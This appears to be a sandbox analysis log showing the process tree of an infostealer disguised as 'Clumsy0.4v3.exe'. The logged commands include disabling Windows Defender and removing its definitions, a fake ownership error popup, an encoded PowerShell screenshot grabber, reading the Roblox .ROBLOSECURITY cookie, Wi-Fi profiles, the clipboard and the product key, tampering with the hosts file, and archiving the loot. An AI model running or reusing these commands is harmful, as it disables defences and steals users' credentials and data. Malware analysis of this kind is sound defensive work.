                                                              • C:\Windows\System32\rundll32.exe
                                                                C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                1⤵
                                                                  PID:2228
                                                                • C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"
                                                                  1⤵
                                                                    PID:4212
                                                                    • C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"
                                                                      2⤵
                                                                      • Drops file in Drivers directory
                                                                      • Loads dropped DLL
                                                                      PID:1364
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe'"
                                                                        3⤵
                                                                          PID:2372
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe'
                                                                            4⤵
                                                                            • Command and Scripting Interpreter: PowerShell
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            PID:5092
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
                                                                          3⤵
                                                                            PID:2832
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                                                              4⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              PID:3200
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('You do not own this file please try again', 0, 'ERROR', 0+16);close()""
                                                                            3⤵
                                                                              PID:1500
                                                                              • C:\Windows\system32\mshta.exe
                                                                                mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('You do not own this file please try again', 0, 'ERROR', 0+16);close()"
                                                                                4⤵
                                                                                  PID:4852
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                3⤵
                                                                                  PID:4528
                                                                                  • C:\Windows\system32\tasklist.exe
                                                                                    tasklist /FO LIST
                                                                                    4⤵
                                                                                    • Enumerates processes with tasklist
                                                                                    PID:2960
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                  3⤵
                                                                                    PID:3640
                                                                                    • C:\Windows\system32\tasklist.exe
                                                                                      tasklist /FO LIST
                                                                                      4⤵
                                                                                      • Enumerates processes with tasklist
                                                                                      PID:2192
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                                                                                    3⤵
                                                                                      PID:3236
                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                                                                                        4⤵
                                                                                          PID:5292
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                                                                                        3⤵
                                                                                        • Clipboard Data
                                                                                        PID:1696
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell Get-Clipboard
                                                                                          4⤵
                                                                                          • Clipboard Data
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          PID:5252
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                        3⤵
                                                                                          PID:1260
                                                                                          • C:\Windows\system32\tasklist.exe
                                                                                            tasklist /FO LIST
                                                                                            4⤵
                                                                                            • Enumerates processes with tasklist
                                                                                            PID:5272
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                          3⤵
                                                                                            PID:2760
                                                                                            • C:\Windows\system32\tree.com
                                                                                              tree /A /F
                                                                                              4⤵
                                                                                                PID:5476
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                                                                                              3⤵
                                                                                              • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                              PID:3052
                                                                                              • C:\Windows\system32\netsh.exe
                                                                                                netsh wlan show profile
                                                                                                4⤵
                                                                                                • Event Triggered Execution: Netsh Helper DLL
                                                                                                • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                PID:5392
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c "systeminfo"
                                                                                              3⤵
                                                                                                PID:4468
                                                                                                • C:\Windows\system32\systeminfo.exe
                                                                                                  systeminfo
                                                                                                  4⤵
                                                                                                  • Gathers system information
                                                                                                  PID:5536
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                                                                                                3⤵
                                                                                                  PID:1876
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                                                                                                    4⤵
                                                                                                      PID:5528
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                                                                                    3⤵
                                                                                                      PID:4864
                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                                                                                        4⤵
                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                        PID:5544
                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0z4mfbec\0z4mfbec.cmdline"
                                                                                                          5⤵
                                                                                                            PID:6096
                                                                                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9B22.tmp" "c:\Users\Admin\AppData\Local\Temp\0z4mfbec\CSCC836B4C54214223873E5D86B211B630.TMP"
                                                                                                              6⤵
                                                                                                                PID:4292
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                          3⤵
                                                                                                            PID:5744
                                                                                                            • C:\Windows\system32\tree.com
                                                                                                              tree /A /F
                                                                                                              4⤵
                                                                                                                PID:5868
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                              3⤵
                                                                                                                PID:5916
                                                                                                                • C:\Windows\system32\tree.com
                                                                                                                  tree /A /F
                                                                                                                  4⤵
                                                                                                                    PID:2368
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                                                                                                  3⤵
                                                                                                                    PID:5928
                                                                                                                    • C:\Windows\system32\attrib.exe
                                                                                                                      attrib -r C:\Windows\System32\drivers\etc\hosts
                                                                                                                      4⤵
                                                                                                                      • Drops file in Drivers directory
                                                                                                                      • Views/modifies file attributes
                                                                                                                      PID:1772
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                    3⤵
                                                                                                                      PID:224
                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                        4⤵
                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                        PID:5552
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                      3⤵
                                                                                                                        PID:2476
                                                                                                                        • C:\Windows\system32\tree.com
                                                                                                                          tree /A /F
                                                                                                                          4⤵
                                                                                                                            PID:5476
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                                                                                                          3⤵
                                                                                                                            PID:5364
                                                                                                                            • C:\Windows\system32\attrib.exe
                                                                                                                              attrib +r C:\Windows\System32\drivers\etc\hosts
                                                                                                                              4⤵
                                                                                                                              • Drops file in Drivers directory
                                                                                                                              • Views/modifies file attributes
                                                                                                                              PID:5776
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                            3⤵
                                                                                                                              PID:5148
                                                                                                                              • C:\Windows\system32\tree.com
                                                                                                                                tree /A /F
                                                                                                                                4⤵
                                                                                                                                  PID:5860
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                3⤵
                                                                                                                                  PID:3236
                                                                                                                                  • C:\Windows\system32\tasklist.exe
                                                                                                                                    tasklist /FO LIST
                                                                                                                                    4⤵
                                                                                                                                    • Enumerates processes with tasklist
                                                                                                                                    PID:1268
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                  3⤵
                                                                                                                                    PID:5856
                                                                                                                                    • C:\Windows\system32\tree.com
                                                                                                                                      tree /A /F
                                                                                                                                      4⤵
                                                                                                                                        PID:5868
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                      3⤵
                                                                                                                                        PID:5944
                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                          4⤵
                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                          PID:1608
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c "getmac"
                                                                                                                                        3⤵
                                                                                                                                          PID:2132
                                                                                                                                          • C:\Windows\system32\getmac.exe
                                                                                                                                            getmac
                                                                                                                                            4⤵
                                                                                                                                              PID:3684
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI42122\rar.exe a -r -hp"skoch" "C:\Users\Admin\AppData\Local\Temp\WrIiI.zip" *"
                                                                                                                                            3⤵
                                                                                                                                              PID:6020
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI42122\rar.exe
                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\_MEI42122\rar.exe a -r -hp"skoch" "C:\Users\Admin\AppData\Local\Temp\WrIiI.zip" *
                                                                                                                                                4⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                PID:4592
                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                                                                                              3⤵
                                                                                                                                                PID:6044
                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                  wmic os get Caption
                                                                                                                                                  4⤵
                                                                                                                                                    PID:6112
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:5268
                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                      wmic computersystem get totalphysicalmemory
                                                                                                                                                      4⤵
                                                                                                                                                        PID:5160
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1184
                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                          wmic csproduct get uuid
                                                                                                                                                          4⤵
                                                                                                                                                            PID:1196
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                                                                                          3⤵
                                                                                                                                                            PID:4292
                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                              powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                                                                                              4⤵
                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                              PID:3652
                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                                                            3⤵
                                                                                                                                                              PID:5980
                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                wmic path win32_VideoController get name
                                                                                                                                                                4⤵
                                                                                                                                                                • Detects videocard installed
                                                                                                                                                                PID:5940
                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                                                                                              3⤵
                                                                                                                                                                PID:5756
                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                  PID:5896
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe
                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"
                                                                                                                                                            1⤵
                                                                                                                                                              PID:1216
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe
                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"
                                                                                                                                                                2⤵
                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                PID:2948
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"
